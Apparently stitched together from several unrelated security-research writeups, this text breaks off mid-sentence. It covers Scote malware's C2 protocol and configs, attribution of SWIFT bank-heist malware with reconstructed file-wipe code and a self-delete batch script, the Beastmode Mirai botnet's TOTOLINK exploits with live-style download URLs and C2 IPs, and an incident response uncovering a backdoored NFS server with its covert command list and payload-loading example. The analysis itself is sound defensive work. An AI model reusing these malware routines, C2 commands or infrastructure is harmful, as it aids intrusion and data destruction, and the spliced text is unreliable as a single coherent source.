5.175.214[.]9:5000 5.175.214[.]9:443 5.175.214[.]9:1434 5.175.214[.]9:110 5.175.214[.]9:2716 5.175.214[.]9:8080 } ``` In addition to Pastebin, some samples were found connecting to the following three Google+ profiles: - https://plus.google[.]com/104518099222750189969 - https://plus.google[.]com/110228699051788231047 - https://plus.google[.]com/106456556287604120942 Scote takes the response from these requests and parses data within ‘scout{}’. Other Scote versions attempted to identify data contained within ‘{x=’ and ‘}’. This data is decoded using the traditional Base64 algorithm. While there are a number of other configuration parameters within Scote, the connection params and the nick_name appear to be the only ones used. It’s possible that Scote is still actively being developed and the author has yet to make use of the additional parameters provided within the configuration. A full list of identified Scote configurations may be found within the ‘Scote Configurations’ appendix. Scote checks the current running process against the following list to ensure it is running within one of them: - svchost.exe - explorer.exe - chrome.exe - firefox.exe - iexplorer.exe - opera.exe Scote makes an ASM call to CPUID with an argument of 1 to query the victim’s processor information and features. This information is used to generate a unique 8-character hash for that victim. Scote then connects to the previously retrieved C2 servers and sends the following information via TCP: **command=scote_connection|hwid=[8 character hash]** Scote continues to submit the following command periodically and will parse the response: **command=scote_ping** Scote accepts the following five responses: - **scote_pong**: No action taken by Scote - **scote_drop**: Kill the Scote malware - **scote_info_ipconfig**: Return the results of running ‘ipconfig’ - **scote_info_systeminfo**: Return the results of running ‘cmd.exe /C systeminfo’ - **scote_upgrade**: Accept a DLL from the remote C2 and load it. When Scote returns information in the following format: **command=[command]|buffer=[data]** In the example above, [command] is replaced with the command received by the remote C2 server, and [data] is replaced with data that has been encoded using both traditional base64 as well as base64 with the nonstandard alphabet. ### Scote Configurations ``` 4df9488fbdfaf5d05fda65175a6b6e5331c58c967adbe972aa46c64b4fd0b1bb [config] [connection] [param]https://plus.google[.]com/104518099222750189969[/param] [param]https://plus.google[.]com/110228699051788231047[/param] [param]https://plus.google[.]com/106456556287604120942[/param] [/connection] [install_name]Kh237t0P[/install_name] [nick_name]k1et333d[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] ed9c62f77055a2498aec681b5653240be534595b97a9d11e92371639b0ca9a48 [config] [connection] [param]https://plus.google[.]com/104518099222750189969[/param] [param]https://plus.google[.]com/110228699051788231047[/param] [param]https://plus.google[.]com/106456556287604120942[/param] [/connection] [install_name]Q2xm5ziY[/install_name] [nick_name]hq5GyQ1D[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]false[/injection] [injection_process]svchost[/injection_process] 613da5f745c281acbffa4375e96394f8c912f58f92afe347e8a1f10fad3489bb [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [param]http://pastebin[.]com/raw/trZZJTGA[/param] [/connection] [install_name]e3HGAiPJ[/install_name] [nick_name]4c1h7vLX[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] 03e2b932c013252fa2eb5e35390f9e21d0ff87e5b1c01683ebce0e8ce9b8d6df [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [param]http://pastebin[.]com/raw/trZZJTGA[/param] [/connection] [install_name]i0c9488I[/install_name] [nick_name]7WDyDSog[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] 0dde9940f7896c2e4fb881dd185c3c3db280a9fd2ac2cb81988f43f5b0f6fcf7 [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [param]http://pastebin[.]com/raw/trZZJTGA[/param] [/connection] [install_name]ZVLhWo62[/install_name] [nick_name]b04bc9mK[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] d0f2d2d7d82c91fe64a64552e0e6200a096230fb6a64a1307928ae33ab2a5bf8 [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [/connection] [install_name]9OhcOo03[/install_name] [nick_name]URt7b1zK[/nick_name] [install_folder]temp[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]true[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] 7b6347093b27174e27228c2fde7d39e02d57315b354461aaf1dee3f0800fdfc3 [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [/connection] [install_name]ke6Wox2L[/install_name] [nick_name]3GlWhgi3[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]true[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]explorer[/injection_process] ```
# Cyber Heist Attribution **Written by Sergei Shevchenko and Adrian Nish** ## BACKGROUND Attributing a single cyber-attack is a hard task and often impossible. However, when multiple attacks are conducted over long periods of time, they leave a trail of digital evidence. Piecing this together into a campaign can help investigators to see the bigger picture, and even hint at who may be behind the attacks. Our research into malware used on SWIFT-based systems running in banks has turned up multiple bespoke tools used by a set of attackers. What initially looked to be an isolated incident at one Asian bank turned out to be part of a wider campaign. This led to the identification of a commercial bank in Vietnam that also appears to have been targeted in a similar fashion using tailored malware, but based off a common code-base. In the bank malware cases we know of, the coders used a unique file wipe-out function. This implementation was so distinctive that it further drew our attention – and so we began to look for other instances of code which had used the same function. Using disassembled machine opcodes (with masked out dynamic virtual addresses) we generated signatures to scan a large malware corpus. Our initial search turned up an additional sample which implemented the same wipe-out function. This sample was uploaded from a user in the US on 4th March 2016: ``` SHA1: c6eb8e46810f5806d056c4aa34e7b8d8a2c37cad Compile time: 2014-10-24 09:28:55 Size: 45,056 bytes Name: msoutc.exe Country: US ``` ## ANALYSIS ### The msoutc.exe functionality msoutc.exe accepts a number of parameters passed with the command line. When executed, it checks if there is another instance of itself already running on a system, by attempting to create a mutex called: `Global\FwtSqmSession106839323_S-1-5-20`. If the mutex creation attempt fails, returning the 'already exists' error code, the bot will quit and delete itself by executing a self-delete batch file. The bot then copies itself into a temporary directory as: `%TEMP%\sysman\svchost.exe`. Next, it recreates its configuration file `wmplog09c.sqm` in the same directory. As in the case with the malware described in our blog post, it will also install itself as a system service. The service will be called "Indman", "Indexing Manager", and described as "Provides fast indexing service". The malware keeps its logs within an encrypted file `wmplog15r.sqm` and/or `wmplog21t.sqm`, located in the same directory. The logged messages are encrypted with a key: `y@s!11yid60u7f!07ou74n001`. Back in 2015, PwC reported a malware with an identical encryption key as above and a very similar unique mutex name. The msoutc.exe bot matches the description of other tools from the same toolkit, as described in the US CERT Alert TA14-353A: | US Cert Alert | PwC | msoutc.exe | |---------------|-----|------------| | FwtSqmSession106829323_S-1-5-19 | FwtSqmSession106829323_S-1-5-19 | FwtSqmSession106839323_S-1-5-20 | | y0uar3@s!llyid!07,ou74n60u7f001 | y@s!11yid60u7f!07ou74n001 | y@s!11yid60u7f!07ou74n001 | If the configuration file is missing, the bot initiates a default configuration and saves it to the `wmplog09c.sqm` file, located in the same directory. The default parameters specify 127.0.0.1 (local host) and port 443 as the default address for the C&C server. In this case, the bot expects the C&C server's IP address and port number to be passed as the command line parameters. These parameters are then used to update the configuration file. Since the configuration file is not available for analysis, the C&C IP remains unknown, but the port number is likely to be 443, same as the default value. Every 5 minutes it initiates a communication to the remote C&C. All communications are encrypted. The beacon signal it sends contains the local IP address. The data it receives from the C&C is first decrypted, and then used to update its own executable and the `wmplog09c.sqm` configuration file. The updated executable may have additional functionality that is missing in the analyzed sample. ### The msoutc.exe 'wipe-out' and 'file-delete' functions When the malware reaches out to the C&C server, it may receive a special instruction to terminate itself. In that case, it uninstalls its service, deletes its configuration and log files, then quits and deletes itself by executing a self-delete batch file that has the following format: ``` .data:0040A400 echoOffD1Del db '@echo off',0Dh,0Ah .data:0040A400 db ':D1',0Dh,0Ah .data:0040A400 db 'del /a %1',0Dh,0Ah .data:0040A400 db 'if exist %1 goto D1',0Dh,0Ah .data:0040A400 db 'del /a %0',0 ``` The batch file format is identical to the one previously reported by Novetta. In order to delete its configuration and log files, the bot calls an internal function that wipes these files out so that their contents cannot be forensically restored. The implementation of this function is very unique - it involves complete filling of the file with random data in order to occupy all associated disk sectors, before the file is deleted. The file-delete function itself is also unique – the file is first renamed into a temporary file with a random name, and that temporary file is also deleted. Let's compare the wipe-out function employed by this bot to the wipe-out function within the malware that was involved in the operation against the bank in Vietnam. | Wipe-out function (msoutc.exe, 2014) | Wipe-out function (Vietnam malware, 2015) | |---------------------------------------|-------------------------------------------| | B820100000E8B64E0000535557FF1500 | B820100000E896EA0400535557FF154C | | 90400050FF154C90400083C404C64424 | F0450050FF152CF1450083C404C64424 | | 0CFFFF156890400025FF000080790748 | 0CFFFF1524F1450025FF000080790748 | | 0D00FFFFFF408844240DB9FF03000033 | 0D00FFFFFF408844240DB9FF03000033 | | C08D7C242DC644242C5F33DBF3AB66AB | C08D7C242DC644242C5F33DBF3AB66AB | | 5368800000006A0353AA8B8424401000 | 5368800000006A0353AA8B8424401000 | | 0053680000004050C644242AFF885C24 | 0053680000004050C644242AFF885C24 | | 2BC644242C7EC644242DE7FF15A4AC40 | 2BC644242C7EC644242DE7FF1548F045 | | 008BE883FDFF7510FF151C9040005F5D | 008BE883FDFF7510FF1508F045005F5D | | 5B81C420100000C3566A02536AFF55FF | 5B81C420100000C3566A02536AFF55FF | | 15D4AC40008D4C242453518D5424386A | 1544F045008D4C242453518D5424386A | | 015255FF15ACAC400055FF15C8AC4000 | 015255FF1540F0450055FF153CF04500 | | 8D44241C5055FF15D0AC400033F68974 | 8D44241C5055FF1538F0450033F68974 | | 24188B84243810000083F8067E05B806 | 24188B84243810000083F8067E05B806 | | 0000003BF00F8DC900000053535355FF | 0000003BF00F8DC900000053535355FF | | 15D4AC40008A4434103CFF75148D4C24 | 1544F045008A4434103CFF75148D4C24 | | 30680010000051E8C4FDFFFF83C408EB | 30680010000051E8C4FDFFFF83C408EB | | 1C25FF000000B9000400008AD08D7C24 | 1C25FF000000B9000400008AD08D7C24 | | 308AF28BC2C1E010668BC2F3AB8B4424 | 308AF28BC2C1E010668BC2F3AB8B4424 | | 208B4C241C33FF33F63BC37C607F0A3B | 208B4C241C33FF33F63BC37C607F0A3B | | CB765AEB048B4C241C2BCF1BC678157F | CB765AEB048B4C241C2BCF1BC678157F | | 0881F900100000760BB900100000895C | 0881F900100000760BB900100000895C | | 242CEB048944242C8D4424245350518D | 242CEB048944242C8D4424245350518D | | 4C243C5155FF15ACAC400085C0741E8B | 4C243C5155FF1540F0450085C0741E8B | | 4424243BC3741603F88B44242013F33B | 4424243BC3741603F88B44242013F33B | | F07CB27F088B4C241C3BF972AC55FF15 | F07CB27F088B4C241C3BF972AC55FF15 | | C8AC40008B44241840894424188BF0E9 | 3CF045008B44241840894424188BF0E9 | | 1EFFFFFF55FF15A8AC40008B94243410 | 1EFFFFFF55FF1510F045008B94243410 | | 00005352E847FDFFFF83C4085E5F5D5B | 00005352E847FDFFFF83C4085E5F5D5B | | 81C420100000C3 | 81C420100000C3 | **NOTE:** The greyed-out areas correspond to the virtual addresses of the called APIs – these addresses would not be expected to be constant across different samples, and hence, should be ignored. The wipe-out function used in the Bangladesh malware case was slightly different: the author removed one outer loop from the writing into the file, and one randomization layer, as shown below. However, the core of the function was left intact. At the end of the file writing, the wipe-out function makes a call to a file-delete function that removes the file/directory – this is named `removeFileDir()` in our reconstructed code. ```c DWORD removeFileDir(LPCSTR lpExistingFileName, bool bDir) { const CHAR *_filePath; char *backslash; char *fileName; char next_char; char _filepath; char buf; _filepath = 0; _filePath = lpExistingFileName; memset(&buf, 0, 0x100u); strcpy(&_filepath, lpExistingFileName); backslash = strrchr(&_filepath, '\\'); if (backslash) fileName = backslash + 1; else fileName = &_filepath; if (*fileName) { do { *fileName = rand() % 26 + 'a'; next_char = (fileName++)[1]; } while (next_char); } if (MoveFileA(lpExistingFileName, &_filepath)) _filePath = &_filepath; if (bDir) { if (!RemoveDirectoryA(_filePath)) return GetLastError(); } else if (!DeleteFileA(_filePath)) { return GetLastError(); } return 0; } ``` ## ATTRIBUTION So what else do we know about msoutc.exe? It turns out that this malware exhibits the same unique characteristics, such as mutex names and encryption keys, as other tools from a larger toolkit described in US-CERT Alert TA14-353A. The US-CERT alert mentions "a major entertainment company" and is widely believed to describe the toolkit used to conduct a destructive cyber-attack which took place in late 2014. Further details of this same toolkit were disclosed in the 'Op Blockbuster' report in February 2016. msoutc.exe matches the description of the 'Sierra Charlie' variants in their report. From their analysis, this is described as a spreader type of malware, presumably used to gain a foothold on multiple devices within a target environment before launching further actions. ### Summarising the overlaps: **Typos** Typos are not uncommon in cyber-attacks, as developers and operators rush through their tasks in an effort to stay ahead of network defenders. However, this provides another soft link across the different sets of activity. | Instance | Comment | |----------|---------| | Operation Blockbuster campaign | The Kaspersky Labs team noted a typo in the User-Agent of 'Mozillar' instead of 'Mozilla' | | Vietnam case | Attacker code featured the string 'FilleOut' instead of 'FileOut' | | Bangladesh case | Attacker code featured the string 'alreay' instead of 'already' | | | Attacker mis-spelled 'foundation' as 'fandation' | **Development environment** The coder makes exclusive use of Visual C++ 6.0, an older development environment released in 1998. The use of such infrastructure for development is not unheard of, but it does leave a distinctive tool-mark with which to link the malware samples. The use of this compiler was also noted in the 'Kordllbot' samples described in a recent report by BlueCoat. This report details the same activity as discussed in the Operation Blockbuster reports. | Instance | Comment | |----------|---------| | Kordllbot malware (BlueCoat report / Op Blockbuster) | Noted to have used Visual C++ 6.0 | | Vietnam case | Malware compiled in Visual C++ 6.0 | | Bangladesh case | Malware compiled in Visual C++ 6.0 | **File-wipe / file-delete functionality** As noted already, the developers coded a specific function for securely erasing files from disk. The author of this function took great care in writing a large amount of random data into a file, before passing it to a file delete command. This was done in order to make sure the deleted file could not be forensically restored as all the original contents of the hard disk sectors associated with the file would be lost. | Instance | Comment | |----------|---------| | Operation Blockbuster campaign | Described under the 'Secure File Delete' section | | msoutc.exe | Contains both 'file-wipe' and 'file-delete' functions | | Vietnam case | Contains identical functions to the above sample | | Bangladesh case | Contains modified 'file-wipe' but identical 'file-delete' function | ## CONCLUSIONS The overlaps between these samples provide strong links for the same coder being behind the recent bank heist cases and a wider known campaign stretching back almost a decade. It is possible that this particular file-delete function exists as shared code, distributed between multiple coders who look to achieve similar results. However, we have noted that this code isn't publicly available or present in any other software after searching through tens of millions of files. The unique decision to move and rename the file before deletion after overwriting is unusual, and not a common step we would expect to see when implementing this capability. A motivated and talented coder could implement the same function and choose to compile their project in Visual Studio 6.0 to achieve the same binary result for the purposes of misattribution. We cannot prove for certain that this is not the case, and further investigation of command infrastructure and related tools is needed before any definitive statements on attribution can be made. Whilst there are possibilities that exist which may lead to alternative hypotheses, these are unlikely and as such, we believe that the same coder is central to these attacks. Who the coder is, who they work for, and what their motivation is for conducting these attacks cannot be determined from the digital evidence alone. However, this adds a significant lead to the investigation.
# Fresh TOTOLINK Vulnerabilities Picked Up by Beastmode Mirai Campaign Between February and March 2022, our FortiGuard Labs team observed that the Beastmode (aka B3astmode) Mirai-based DDoS campaign has aggressively updated its arsenal of exploits. Five new exploits were added within a month, with three targeting various models of TOTOLINK routers. This inclusion of TOTOLINK exploits is especially noteworthy as they were added just a week after the exploit codes were published on GitHub. We previously reported on the MANGA campaign, which similarly adopted exploit code within weeks of their release. By rapidly adopting newly released exploit code, threat actors can potentially infect vulnerable devices and expand their botnets before patches are applied to fix these vulnerabilities. TOTOLINK has already released updated firmware for affected models and users are strongly encouraged to update their devices. This post details how this threat leverages these vulnerabilities to control affected devices, and ways to protect users from these attacks. **Affected Platforms:** Linux **Impacted Users:** Any organization **Impact:** Remote attackers gain control of the vulnerable systems **Severity Level:** Critical ## Exploiting New Vulnerabilities The Beastmode campaign derives its name from filenames and URLs used for its binary samples, as well as a unique HTTP User-Agent header "b3astmode" within the exploit requests. Binary samples are based on the publicly available source code of the Mirai botnet. Like most DDoS botnets, aside from brute-forcing credentials, Beastmode employs a variety of exploits to infect more devices, as listed below. - **CVE-2022-26210** targets TOTOLINK A800R, A810R, A830R, A950RG, A3000RU, and A3100R. - **CVE-2022-26186** targets TOTOLINK N600R and A7100RU. - **CVE-2022-25075/25076/25077/25078/25079/25080/25081/25082/25083/25084** are a family of similar vulnerabilities targeting TOTOLINK A810R, A830R, A860R, A950RG, A3100R, A3600R, T6, and T10 routers. Interestingly, the samples caught on 20 Feb 2022 contained a typo in the URL, where “downloadFile.cgi” was used instead of “downloadFlile.cgi” used by the devices. This had been fixed in samples captured three days later, suggesting active development and operation of this campaign. Apart from TOTOLINK products, this campaign also targets discontinued D-Link products (DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L and DIR-836L) via **CVE-2021-45382**. Note that updated firmware is not available as these products have reached their end of life/support cycles. It is interesting to note that this campaign also attempts to exploit **CVE-2021-4045**, a vulnerability for the TP-Link Tapo C200 IP camera, which we have not observed in other Mirai-based campaigns. While the current implementation of the exploit is incorrect, device owners should still update their camera firmware to fix this vulnerability. A couple of older vulnerabilities were also found in the samples analyzed by FortiGuard Labs researchers, namely **CVE-2017-17215** targeting Huawei HG532 routers, and **CVE-2016-5674** targeting NUUO NVRmini2, NVRsolo, Crystal Devices, and NETGEAR ReadyNAS Surveillance products. While affecting a variety of products, these vulnerabilities are all similar in that they allow threat actors to inject commands to be executed after successful exploitation. This usually involves using the wget command to download shell scripts to infect the device with Beastmode. In addition, exploits lead to slightly different shell scripts. Snippets of the scripts downloaded from the successful exploitation of **CVE-2021-45382**, **CVE-2022-26186**, and **CVE-2022-25075**, respectively are shown below. As shown in the above figure, each script downloads the same file to different filenames but is executed with different parameters. For instance, successful exploitation of **CVE-2021-45382**, a vulnerability involving a function named “DDNS” within D-Link router firmware, leads to the download and execution of the shell script “ddns.sh”. Then, the script downloads the Beastmode binary, which is saved as “ddns” and executed with the “ddns.exploit” parameter. The parameter allows the infected device to register itself as part of the “ddns.exploit” sub-group within the botnet. It could then be used by the botnet operators to assess the viability of specific exploits by measuring the number of bots or simply for ease of management. Once devices are infected by Beastmode, the botnet can be used by its operators to perform a variety of DDoS attacks commonly found in other Mirai-based botnets, including: - attack_app_http - attack_tcp_ack - attack_tcp_syn - attack_udp_plain - attack_udp_vse - attack_udp_ovhhex - attack_udp_stdhex - attack_udp_CLAMP ## Conclusion Even though the original Mirai author was arrested in fall 2018, this article highlights how threat actors, such as those behind the Beastmode campaign, continue to rapidly incorporate newly published exploit code to infect unpatched devices using the Mirai malware. By continuously monitoring the evolving threat landscape, FortiGuard Labs researchers identify new vulnerabilities exploited by Mirai variants and malware targeting IoT devices to bring greater awareness to such threats and better secure our customers’ networks. ## Fortinet Protections Fortinet customers are protected by the following: - The following generic FortiGuard IPS signatures detect exploitation attempts from Beastmode and other Mirai-based botnets: - Mirai.Botnet - HTTP.Unix.Shell.IFS.Remote.Code.Execution - FortiGuard Labs also provides IPS signatures against the following vulnerabilities: - CVE-2017-17215 - Huawei.HG532.Remote.Code.Execution - CVE-2016-5674 - NUUO.Surveillance.Application.UNAUTH.Remote.Code.Execution - The FortiGuard Web Filtering Service blocks downloaded URLs and identified C2s. - The FortiGuard AntiVirus service detects and blocks this threat as Linux/Mirai and ELF/Mirai. FortiGuard IP Reputation & Anti-Botnet Security Service proactively blocks these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources. ## IOCs **Download URLs** - http://195.133.18[.]119/beastmode/b3astmode.86_64 - http://195.133.18[.]119/beastmode/b3astmode.arm4 - http://195.133.18[.]119/beastmode/b3astmode.arm5 - http://195.133.18[.]119/beastmode/b3astmode.arm6 - http://195.133.18[.]119/beastmode/b3astmode.arm7 - http://195.133.18[.]119/beastmode/b3astmode.m68k - http://195.133.18[.]119/beastmode/b3astmode.mips - http://195.133.18[.]119/beastmode/b3astmode.mpsl - http://195.133.18[.]119/beastmode/b3astmode.ppc - http://195.133.18[.]119/beastmode/b3astmode.sh4 - http://195.133.18[.]119/beastmode/b3astmode.x86 **C2 IPs** - 195.133.18[.]119 - 136.144.41[.]69 **Samples (SHA256)** - 04a50c409a30cdd53036c490534ee7859b828f2b9a9dd779c6b0112b88b74708 - 0ca74024f5b389fcfa5ee545c8a7842316c78fc53d4a9e94c34d556459a58877 - 0d442f4327ddd254dbb2a9a243d9317313e44d4f6a6078ea1139ddd945c3f272 - 14726d501dd489e8228af9580b4369819efb3101f6128df1a1ab0fcc8d96e797 - 18cefe4333f5f1165c1275c956c8ae717d53818b2c5b2372144fb87d6687f0d8 - 36a85f2704f77d7e11976541f3d77774109461e1baae984beb83064c2e34239a - 3d0a119b68044b841128e451d80ee41d8be9cc61f9ff9a01c3db7d3271e15655 - 5adfd18422a37a40e6c7626b27d425a4c5a6ca45ecbc8becd690b8533d9d6c7c - 635569c7612278d730cb87879843de03d1ea0df4e1c70262ab50659780eace3b - 676b2aa6839606d49bbd2f29487e4c218e7d14dd1a9b870edcabdd11fcab9cf7 - 9c88fa218af7fb72188a0262b3a29008fedcf3d434b90e8fa578ac8f250f5025 - a21aa45045c0d4b0d785891b8be57496d62bc2396d01c24a34b40f3e2227ef07 - a5cbe89bf1f3121eb2012e3c5bb5c237c613b8b615384be0f1cc92817a2f1efe - a6a7e46bd0e9ec67a1adec64af8fddee18ce019f731ee9cbf8341b35b2519dd9 - b573f4d58b1fe6309b90611dd1d1030d7a3d1eb8ddb18de6dc58eefa876820fd - be3248d97653e8f97cb8f69af260f03b19965489478211a5565b786e9f5d3c02 - ca8980cb3bd286e41950d78555fd070eaf2d3bebf2751cb0d12a3eff0a41f829 - cd48523a6dced4054cce051d4dd8c06268cee375e56afbf59d724faa91c3e766 - d799ae8a017e76d22f1f35f271ebae9168b7712dce0ce86753edabd6e5f4f0d6 - ded30dbc39e310ebbc17a9667a14e7f0f2e08999bfc5ebd4eae5c1840b82860a - e7db388460d4e1f8d740018e6012af0ad785d3876a35c924db1f4982d7902db3 - e85c3d3ed49d44b1ec3af89d730e129d68a32212e911e6431f405e201597f6ed
# APT Encounters of the Third Kind March 24, 2021 18 minute read A few weeks ago an ordinary security assessment turned into an incident response whirlwind. It was definitely a first for me, and I was kindly granted permission to outline the events in this blog post. This investigation started scary but turned out to be quite fun, and I hope reading it will be informative to you too. I'll be back to posting about my hardware research soon. ## How it started Twice a year I am hired to do security assessments for a specific client. We have been working together for several years, and I had a pretty good understanding of their network and what to look for. This time my POC, Klaus, asked me to focus on privacy issues and GDPR compliance. However, he asked me to first look at their cluster of reverse gateways/load balancers. I had some prior knowledge of these gateways, but decided to start by creating my own test environment first. The gateways run a custom Linux stack: basically a monolithic compiled kernel (without any modules), and a static GOlang application on top. The 100+ machines have no internal storage, but rather boot from an external USB media that has the kernel and the application. The GOlang app serves in two capacities: an init replacement and the reverse gateway software. During initialization it mounts /proc, /sys, devfs and so on, then mounts an NFS share hardcoded in the app. The NFS share contains the app's configuration, TLS certificates, blacklist data and a few more. It starts listening on 443, filters incoming communication and passes valid requests on different services in the production segment. I set up a self-contained test environment and spent a day in black box examination. Having found nothing much I suggested we move on to looking at the production network, but Klaus insisted I continue with the gateways. Specifically he wanted to know if I could develop a methodology for testing if an attacker has gained access to the gateways and is trying to access PII (Personally Identifiable Information) from within the decrypted HTTP stream. I couldn't SSH into the host (no SSH), so I figured we will have to add some kind of instrumentation to the GO app. Klaus still insisted I start by looking at the traffic before (red) and after the GW (green), and gave me access to a mirrored port on both sides so I could capture traffic to a standalone laptop he prepared for me and I could access through an LTE modem but was not allowed to upload data from. The problem I faced now was how to find out what HTTPS traffic corresponded to requests with embedded PII. One possible avenue was to try and correlate the encrypted traffic with the decrypted HTTP traffic. This proved impossible using timing alone. However, inspecting the decoded traffic I noticed the GW app adds an 'X-Orig-Connection' with the four-tuple of the TLS connection! Yay! I wrote a small python program to scan the port 80 traffic capture and create a mapping from each four-tuple TLS connection to a boolean - True for connection with PII and False for all others: ``` 10.4.254.254,443,[Redacted],43404,376106847.319,False 10.4.254.254,443,[Redacted],52064,376106856.146,False 10.4.254.254,443,[Redacted],40946,376106856.295,False 10.4.254.254,443,[Redacted],48366,376106856.593,False 10.4.254.254,443,[Redacted],48362,376106856.623,True 10.4.254.254,443,[Redacted],45872,376106856.645,False 10.4.254.254,443,[Redacted],40124,376106856.675,False ``` With this in mind I could now extract the data from the PCAPs and do some correlations. After a few long hours getting scapy to actually parse timestamps consistently enough for comparisons, I had a list of connection timing information correlated with PII. A few more fun hours with Excel and I got histogram graphs of time vs count of packets. Everything looked normal for the HTTP traffic, although I expected more of a normal distribution than the power-low type thingy I got. Port 443 initially looked the same, and I got the normal distribution I expected. But when filtering for PII something was seriously wrong. The distribution was skewed and shifted to longer time frames. And there was nothing similar on the port 80 end. My only explanation was that something was wrong with my testing setup (the blue bars) vs. the real live setup (the orange bars). I wrote on our slack channel 'I think my setup is sh*t, can anyone resend me the config files?', but this was already very late at night, and no one responded. Having a slight OCD I couldn’t let this go. To my rescue came another security feature of the GWs: They restarted daily, staggered one by one, with about 10 minutes between hosts. This means that every ten minutes or so one of them would reboot, and thus reload its configuration files over NFS. And since I could see the NFS traffic through the port mirror I had access to, I reckoned I could get the production configuration files from the NFS capture. So to cut a long story short I found the NFS read reply packet, and got the data I need. But… why the hack is eof 77685??? Come on people, it's 3:34AM! What's more, the actual data was 77685 bytes, exactly 8192 bytes more than the ‘Read length’. The entropy for that data was pretty uniform, suggesting it was encrypted. The file I had was definitely not encrypted. When I mounted the NFS export myself I got a normal EOF value of 1! What hell is this? Comparing the capture from my testing machine with the one from the port mirror I saw something else weird: For other NFS open requests (on all of my test system captures and for other files in the production system) we get: Spot the difference? The open id: string became open-id:. Was I dealing with some corrupt packet? But the exact same problem reappeared the next time blacklist.db was sent over the wire by another GW host. Time to look at the kernel source code: The “open id” string is hardcoded. What's up? After a good night sleep and no beer this time I repeated the experiment and convincing myself I was not hallucinating I decided to compare the source code of the exact kernel version with the kernel binary I got. What I expected to see was this (from nfs4xdr.c): ```c static inline void encode_openhdr(struct xdr_stream *xdr, const struct nfs_openargs *arg) { __be32 *p; /* * opcode 4, seqid 4, share_access 4, share_deny 4, clientid 8, ownerlen 4, * owner 4 = 32 */ encode_nfs4_seqid(xdr, arg->seqid); encode_share_access(xdr, arg->share_access); p = reserve_space(xdr, 36); p = xdr_encode_hyper(p, arg->clientid); *p++ = cpu_to_be32(24); p = xdr_encode_opaque_fixed(p, "open id:", 8); *p++ = cpu_to_be32(arg->server->s_dev); *p++ = cpu_to_be32(arg->id.uniquifier); xdr_encode_hyper(p, arg->id.create_time); } ``` Running `binwalk -e -M bzImage` I got the internal ELF image, and opened it in IDA. Of course I didn’t have any symbols, but I got `nfs4_xdr_enc_open()` from /proc/kallsyms, and from there to `encode_open()` which led me to `encode_openhdr()`. With some help from hex-rays I got code that looked very similar, but with one key difference: ```c static inline void encode_openhdr(struct xdr_stream *xdr, const struct nfs_openargs *arg) { ... p = xdr_encode_opaque_fixed(p, unknown_func("open id:", arg), 8); ... } ``` The function `unknown_func` was pretty long and complicated but eventually sometimes decided to replace the space between 'open' and 'id' with a hyphen. Does the NFS server care? Apparently this string is some opaque client identifier that is ignored by the NFS server, so no one would see the difference. That is unless they were trying to extract something from an NFS stream, and obviously this was not a likely scenario. OK, back to the weird 'eof' thingy from the NFS server. The NFS Server was running the 'NFS-ganesha-3.3' package. This is a very modular user-space NFS server that is implemented as a series of loadable modules called FSALs. For example, support for files on the regular filesystem is implemented through a module called `libfsalvfs.so`. Having verified all the files on disk had the same SHA1 as the distro package, I decided to dump the process memory. I didn't have any tools on the host, so I used GDB which helpfully was already there. Unexpectedly GDB was suddenly killed, the file I specified as output got erased, and the NFS server process restarted. I took the dump again but there was nothing special there! I was pretty suspicious at this time, and wanted to recover the original dump file from the first dump. Fortunately for me I was dumping the file to the laptop, again over NFS. The file had been deleted, but I managed to recover it from the disk on that server. ## 2nd malicious binary The memory dump was truncated, but had a corrupt version of NFS-ganesha inside. There were two `libfsalvfs.so` libraries loaded: the original one and an injected SO file with the same name. The injected file was clearly malicious. The main binary was patched in a few places, and the function table into `libfsalvfs.so` was replaced with the alternate `libfsalvfs.so`. The alternate file was compiled from NFS-ganesha sources, but modified to include new and improved functionality. The most interesting of the new functionality were two separate implementations of covert channels. The first one we encountered: When an open request comes in with 'open-id' instead of 'open id', the file handle is marked. This change is opaque to the NFS server, so unpatched servers just ignore it and nothing much happens. For infiltrated NFS servers, when the file handle opened this way is read, the NFS server appends the last block with a payload coming from the malware's runtime storage, and the 'eof' on-the-wire value is changed to be the new total size. An unpatched kernel (which shouldn’t really happen, since it marked the file in the first place) will just ignore the extra bytes. The EOF value is used as a bool, e.g. checked for 0 or not and not a specific value, so having a large integer value doesn’t change anything in the flow of an unmodified kernel. The second covert channel is used for command and control, and is implemented in the VFS code as a fake directory. Any writes to `/<export>/.snapshot/meta/<cmdid>` are handled by the malware code and not passed on to the FS. They are pseudo-files that implement commands through read and write operations. The malware implemented the following commands: - 1701 - self destruct - 1702 - set auto self destruct time - 1703 - run shell command - 1704 - load SO file from buffer specified in command - 1706 - get basic system description - 1707 - get network connections - 170A - upgrade to new SO file - 74201 - put buffer in memory dict by ID - 74202 - get buffer from memory dict by ID - 74650 - put a payload in memory for the first covert channel - 74651 - arm the first covert channel - 74652 - disarm the first covert channel For example, `cp payload.so /mnt/server/.snapshot/meta/1704` will load the SO file in the NFS ganesha process on the target server, and `echo 1616580589 